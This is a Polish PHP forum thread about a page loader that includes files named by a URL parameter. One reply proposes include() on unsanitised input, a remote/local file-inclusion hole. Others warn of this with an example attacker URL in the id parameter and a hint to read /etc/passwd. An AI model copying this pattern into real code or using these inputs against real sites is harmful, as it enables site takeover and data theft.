[PHP] php w include nie dziala

0

witam.
kawalek kodu z mojej strony:

<?
if($id==""){
$id="start";
}
$urls=$id.".html"; 
if(file_exists("$urls"))
{ 
$file=fopen($urls,"r"); 
while($linia=fgets($file, 99))
{
echo($linia); 
}
fclose($file); 
}
else{
echo("ERROR 404<br>nie mozna odnalesc pliku...");
} 
?>

i teraz mam taki problem :) skrypty php pojawiajace sie w tym include nie dzialaja :/ np link sewrer.pl/index.php?id=cos odwoluje cie do pliku cos.html, jak otworze go tak: serwer.pl/cos.html to kod php w cos.html dziala :) a taki link: serwer.pl/index.php?id=cos, php nie dziala :(

0

po pierwsze RÓB WCIĘCIA to jest twój kod, a jednak o wiele czytelnijszy:

<?
if($id == "")
{
    $id = "start";
}

$urls = $id . ".html"; 

if(file_exists("$urls"))
{ 
    $file = fopen($urls,"r"); 

    while($linia=fgets($file, 99))
    {
         echo($linia); 
    }
    
    fclose($file); 
}

else
{
    echo("ERROR 404<br>nie mozna odnalesc pliku...");
} 
?>

po drugie można to było napisać tak:

if($id == "")
{
    $id = "start";
}

$urls = $id . ".php"; 

if(file_exists("$urls"))
{ 
     include($urls);
}

else
{
    echo("ERROR 404<br>nie mozna odnalesc pliku...");
} 

nie wiem po co się motasz z ręcznym odczytywaniem pliku :0

po trzecie używaj tablic $_GET $_POST itp. (dlaczego?)

0

ALEŻ TAK NIE RÓB [!!!]

i teraz mam taki problem skrypty php pojawiajace sie w tym include nie dzialaja np link sewrer.pl/index.php?id=cos odwoluje cie do pliku cos.html, jak otworze go tak: serwer.pl/cos.html to kod php w cos.html dziala a taki link: serwer.pl/index.php?id=cos, php nie dziala

Jak będzie działać, to wpiszę "serwer.pl/index.php?id=http://moj-server.pl/wykonaj_to" i podmienię Ci stronę albo jeszcze coś gorszego (np. wykradnę hasła, haha) :p

0

to niestety nie dziala :P probowalem :) http://serwer.pl/index.php?id=http://... nir dziala :)

0
anonim222 napisał(a)

to niestety nie dziala :P probowalem :) http://serwer.pl/index.php?id=http://... nir dziala :)

Zalezy jak masz ustawione opcje w php.ini. W nowych php juz to domyslnie zablokowali, ale
zawsze moze sie trafic serwer, na ktorym ktos to odblokuje dla "kompatybilnosci" wstecz.

A sprobuj wpisac do id sciezke do jakiegos pliku na serwerze. :)
Informacje z /etc/passwd tez moga byc przydatne.

0

Może zmień rozszerzenie z html na php. U mnie to pomogło. Nie raz spotkałem się z czymś takim że skrypt php nie działa w plikach o rozszerzeniu innym niż PHP.

1 użytkowników online, w tym zalogowanych: 0, gości: 1